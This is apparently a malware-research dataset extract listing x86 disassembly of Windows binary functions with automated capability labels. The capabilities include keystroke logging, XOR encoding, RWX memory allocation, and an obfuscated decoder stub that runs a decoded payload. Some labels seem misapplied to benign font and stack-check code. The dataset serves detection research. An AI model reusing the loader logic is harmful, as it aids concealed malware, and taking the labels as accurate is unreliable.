joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d6a2421
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d6e05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d6d4b38]
fld qword [0x6d6d4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d6a8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d6a8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d6d4b28]
fadd qword [0x6d6d4b20]
call fcn.6d6a8b70
neg eax
mov dword [ebp - 0x68], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d6d4aec
push eax
call fcn.6d6bdb83
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d6a254b
push 0x6d6d4af4
jmp 0x6d6a254e
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d6bdb83
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d6a886c
add ebp, 0x7d8
leave
ret 0xc
Function at 0x6d6a3e7d
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d6e05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d6d4b38]
fld qword [0x6d6d4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d6a8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d6a8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d6d4b28]
fadd qword [0x6d6d4b20]
call fcn.6d6a8b70
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d6d4c60
push eax
call fcn.6d6bdb83
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d6a3fb7
push 0x6d6d4c68
jmp 0x6d6a3fba
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d6bdb83
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d6a886c
add ebp, 0x7d8
leave
ret 0x10
Function at 0x6d6a504b
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d6e05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d6d4b38]
fld qword [0x6d6d4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d6a8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d6a8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d6d4b28]
fadd qword [0x6d6d4b20]
call fcn.6d6a8b70
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, dword [ebp + 0x7f0]
neg eax
sbb eax, eax
and eax, 0x2bc
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
mov dword [ebp - 0x58], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push str.Japan
push eax
call fcn.6d6bdb83
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
je 0x6d6a5192
push dword [ebp - 0x78]
jmp 0x6d6a5197
push 0x6d6d4dc0
push 0x20
push eax
call fcn.6d6bdb83
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d6a886c
add ebp, 0x7d8
leave
ret 0x14
Function at 0x6d6a61f6
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8c
mov eax, dword [0x6d6e05c8]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
xor esi, esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x80
inc esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d6a6268
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push str.identifier
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d6a6268
push str.ia64
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x6d6a6268
xor esi, esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.6d6a886c
add ebp, 0x78
leave
ret

Function at 0x6d6a886c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d6e05c8]
jne 0x6d6a8876
repz ret
jmp fcn.6d6afa4c

Function at 0x6d6bdb83
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x6d6bdb92
pop dword [ebp - 0x30]
mov eax, 0x6d6bdb92
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x4130d
push 0
mov eax, 0x8d9186ce
add eax, 0xdfdb9b32
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0xbba6fa21
add ecx, 0x445944d2
mov ebx, eax
mov edx, 0x6d72d000
add edx, dword [ebp - 0x30]
mov edi, 0xf72e3549
add dword [ebp - 0x20], edx
mov esi, dword [edx]
xor dword [ebp - 0x2c], 0x38ded078
sub esi, edi
sub dword [ebp - 0x24], 0xf1388953
mov dword [ebx], esi
xor dword [ebp - 0x24], 0x5c4b7082
add ebx, 4
add edx, 4
loop 0x6d6bdbe0
add eax, 0xee9f
mov ebx, eax
add eax, 0x4bef9eda
add eax, 0xb410612b
mov ecx, 0x4c850cd5
sub ecx, 0xdf1c0cd5
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x6d6cee03
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d6e7248], 0
push esi
push edi
jne 0x6d6ced74
call fcn.6d6cecce
test eax, eax
je 0x6d6cedb9
mov eax, dword [0x6d6e7248]
cmp eax, 1
jne 0x6d6ced95
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d6cedb9
jmp 0x6d6cedfb
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d6cedfb
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d6cedbd
xor eax, eax
jmp 0x6d6cedfb
mov eax, dword [esi]
push dword [0x6d6e7248]
call edi
mov edi, eax
test edi, edi
je 0x6d6ceddf
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d6cedfb
lea edi, [esi + 0xff0]
push esi
push dword [0x6d6e7248]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d6cede5
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d6ced60
Function at 0x1003c36
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x10]
push esi
xor esi, esi
mov dword [ebp - 4], eax
cmp dword [0x102f600], esi
je 0x1003ca3
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 0x10]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 8]
call fcn.01003bbf
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1003c9b
lea eax, [ebp + 8]
mov dword [ebp + 8], 4
push eax
lea eax, [ebp - 4]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.01003c1f
mov eax, dword [ebp - 4]
pop esi
leave
ret 0xc

Function at 0x1003ca8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x18]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
cmp dword [0x102f600], esi
je 0x1003d16
lea eax, [ebp + 8]
push eax
lea eax, [ebp + 0x18]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 8]
call fcn.01003bbf
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1003d11
lea eax, [ebp + 0x14]
mov dword [ebp + 0x14], edi
push eax
push dword [ebp + 0x10]
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.01003c1f
pop edi
pop esi
pop ebp
ret 0x14

Function at 0x1003d1c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [0x102f600], esi
je 0x1003d77
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 8]
call fcn.01003bbf
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1003d72
lea eax, [ebp + 0x10]
push 4
push eax
push 4
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.01003c1f
pop esi
leave
ret 0xc

Function at 0x1003d7c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [0x102f600], esi
je 0x1003ddf
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 8]
call fcn.01003bbf
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1003dda
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0x10]
push 1
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.01003c1f
pop esi
leave
ret 0xc
Function at 0x100579e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 8]
cmp esi, 0xfffffc19
jne 0x10057bb
mov eax, dword [ebp + 0xc]
and byte [eax], 0
jmp 0x10058d4
push edi
push ebx
lea eax, [ebp - 0x14]
push 0x1001478
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 8]
xor edi, edi
push eax
lea eax, [ebp + 8]
push eax
push edi
push 0xf003f
push edi
push edi
push edi
push 0x100145c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100581b
lea eax, [ebp - 4]
mov dword [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push 0x1001450
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, 0x3b9aca00
cdq
mov edi, ecx
idiv edi
mov edi, eax
mov eax, esi
cdq
idiv ecx
mov ecx, 0xf4240
mov ebx, ecx
mov eax, edx
cdq
idiv ebx
mov dword [ebp + 8], eax
mov eax, esi
cdq
idiv ecx
mov ecx, 0x3e8
mov ebx, ecx
mov eax, edx
cdq
idiv ebx
mov ebx, eax
mov eax, esi
cdq
idiv ecx
test edi, edi
jle 0x100587d
lea eax, [ebp - 0x14]
push edx
push eax
lea eax, [ebp - 0x14]
push ebx
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push edi
push 0x1001434
push dword [ebp + 0xc]
call fcn.01020470
add esp, 0x24
jmp 0x10058cf
cmp dword [ebp + 8], 0
jle 0x10058a2
lea eax, [ebp - 0x14]
push edx
push eax
lea eax, [ebp - 0x14]
push ebx
push eax
push dword [ebp + 8]
push 0x1001420
push dword [ebp + 0xc]
call fcn.01020470
add esp, 0x1c
jmp 0x10058cf
test ebx, ebx
jle 0x10058be
lea eax, [ebp - 0x14]
push edx
push eax
push ebx
push 0x1001414
push dword [ebp + 0xc]
call fcn.01020470
add esp, 0x14
jmp 0x10058cf
push esi
push 0x1001410
push dword [ebp + 0xc]
call fcn.01020470
add esp, 0xc
mov eax, dword [ebp + 0xc]
pop ebx
pop edi
pop esi
leave
ret 8
Function at 0x1006ab7
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
or dword [0x102b600], 0xffffffff
or dword [0x102b5fc], 0xffffffff
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
xor esi, esi
mov ebx, 0x100
push 1
push esi
call edi
cmp eax, 0x10
je 0x1006aec
inc esi
cmp esi, ebx
jl 0x1006adb
jmp 0x1006af2
mov dword [0x102b5fc], esi
inc esi
cmp esi, ebx
jge 0x1006b07
push 1
push esi
call edi
cmp eax, 0x10
jne 0x1006af2
mov dword [0x102b600], esi
mov esi, dword [sym.imp.USER32.dll_GetKeyNameTextA]
lea eax, [ebp - 0x14]
push 0x13
push eax
mov eax, dword [0x102b5fc]
shl eax, 0x10
push eax
call esi
test eax, eax
je 0x1006b51
push 5
lea eax, [ebp - 0x14]
push 0x1001570
push eax
call fcn.01020780
add esp, 0xc
test eax, eax
je 0x1006b51
mov eax, dword [0x102b5fc]
mov ecx, dword [0x102b600]
mov dword [0x102b5fc], ecx
mov dword [0x102b600], eax
jmp 0x1006b56
mov eax, dword [0x102b600]
lea ecx, [ebp - 0x14]
push 0x13
shl eax, 0x10
push ecx
push eax
call esi
test eax, eax
je 0x1006b93
push 4
lea eax, [ebp - 0x14]
push 0x1001568
push eax
call fcn.01020780
add esp, 0xc
test eax, eax
je 0x1006b93
mov eax, dword [0x102b5fc]
mov ecx, dword [0x102b600]
mov dword [0x102b5fc], ecx
mov dword [0x102b600], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100710e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
push edi
push 2
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x100713d
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
jne 0x1007144
xor eax, eax
jmp 0x1007214
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov edi, dword [esi + 0x20]
test edi, edi
jne 0x100715c
mov cl, byte [esi + 0xe]
push 1
pop edi
shl edi, cl
cmp word [esi + 0xe], 4
lea eax, [esi + edi*4 + 0x28]
mov dword [ebp - 8], eax
jbe 0x10071f5
lea eax, [ebp - 0x40c]
push eax
call fcn.01006fd6
mov ecx, dword [ebp + 0x1c]
mov dword [ebp + 0x10], eax
test eax, eax
mov dword [ecx], eax
je 0x10071f5
and dword [ebp + 8], 0
cmp dword [ebp + 0x18], 0
mov eax, dword [ebp + 0x14]
jle 0x10071c7
lea ecx, [ebp + eax*4 - 0x407]
lea edx, [esi + 0x29]
cmp dword [ebp + 8], edi
jge 0x10071c7
mov bl, byte [edx + 1]
inc dword [ebp + 8]
mov byte [ecx - 1], bl
mov bl, byte [edx]
mov byte [ecx], bl
mov bl, byte [edx - 1]
mov byte [ecx + 1], bl
mov ebx, dword [ebp + 0x18]
mov byte [ecx + 2], 4
add edx, 4
add ecx, 4
cmp dword [ebp + 8], ebx
jl 0x100719d
lea ecx, [ebp + eax*4 - 0x408]
push ecx
push dword [ebp + 8]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
mov eax, dword [ebp + 0x1c]
push 0
push dword [eax]
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_SelectPalette]
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
push esi
push dword [ebp - 8]
push 4
push esi
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x18
Function at 0x100f0d7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
cmp dword [ebp + 8], 0x42
jl 0x100f158
cmp dword [ebp + 8], 0x43
jg 0x100f158
mov eax, dword [0x102fdb8]
mov cl, byte [eax]
test cl, cl
je 0x100f12f
lea edx, [ebp - 0x80]
xor cl, 0xa5
mov byte [edx], cl
inc edx
inc eax
mov dword [0x102fdb8], eax
mov cl, byte [eax]
test cl, cl
jne 0x100f0fa
fld dword [0x1002430]
inc eax
push ecx
mov dword [0x102fdb8], eax
lea eax, [ebp - 0x80]
fstp dword [esp]
mov byte [edx], cl
mov ecx, dword [0x102be84]
push eax
call fcn.01013b8d
jmp 0x100f158
push 0x102bd10
call fcn.0100c0cf
test eax, eax
mov eax, dword [0x102bc04]
je 0x100f148
and dword [eax + 6], 0
jmp 0x100f14f
mov dword [eax + 6], 1
push 0
push 0x43
call fcn.010123c3
leave
ret 8
Function at 0x101bde7
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push 0x1002ac8
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x101be3f
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
push dword [ebp + 8]
push esi
push esi
push 0x10013f0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x101be32
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x101be41
xor eax, eax
pop esi
leave
ret 4

Function at 0x101d4b1
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
mov ax, word [ebp + 0xc]
mov cx, word [ebp + 0x10]
push ebx
push esi
cmp ax, cx
push edi
jne 0x101d4cc
mov eax, dword [ebp + 8]
jmp 0x101d5c0
cmp ax, 8
je 0x101d4d8
cmp ax, 0x10
jne 0x101d53b
cmp cx, 8
je 0x101d4e4
cmp cx, 0x10
jne 0x101d53b
shr ax, 3
shr cx, 3
mov edi, eax
mov ebx, ecx
mov ecx, dword [ebp + 0x14]
xor edx, edx
movzx esi, di
mov eax, dword [ecx]
div esi
movzx edx, bx
mov esi, eax
imul eax, edx
push eax
push 0x2002
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
mov dword [ebp + 0xc], eax
jne 0x101d55d
cmp dword [0x1032970], eax
je 0x101d53b
push 0x40
push 0x1002b18
push 0x1002b30
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
jmp 0x101d5c0
cmp di, bx
jbe 0x101d582
mov edi, dword [ebp + 8]
mov ecx, eax
test esi, esi
je 0x101d59f
movsx eax, word [edi]
cdq
mov ebx, 0x100
idiv ebx
add al, 0x80
mov byte [ecx], al
inc ecx
inc edi
inc edi
dec esi
jne 0x101d56b
jmp 0x101d59f
mov ecx, dword [ebp + 8]
test esi, esi
je 0x101d59f
movsx dx, byte [ecx]
sub edx, 0x80
shl edx, 8
mov word [eax], dx
inc eax
inc eax
inc ecx
dec esi
jne 0x101d589
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x101e149
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
call fcn.0101e103
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [ebp + 0x10]
mov edi, eax
lea eax, [edi + 0xa]
cmp esi, eax
jl 0x101e19b
push dword [ebp + 8]
lea eax, [ebp - 0x40]
push 0x10030e0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0x10030c4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x101e19f
xor eax, eax
jmp 0x101e1e4
call fcn.0101e103
mov ebx, dword [ebp + 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 4]
sub esi, edi
push eax
add edi, ebx
lea eax, [ebp - 0x40]
push edi
push eax
mov dword [ebp - 4], esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x101e1d8
cmp dword [ebp - 4], eax
jle 0x101e1d8
mov dword [ebp - 0xc], 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x101e1eb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0
je 0x101e222
lea eax, [ebp - 4]
mov dword [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x101e222
lea eax, [ebp - 0x10]
push eax
call fcn.0101ff30
pop ecx
jmp 0x101e225
mov eax, dword [ebp + 0x10]
leave
ret 0xc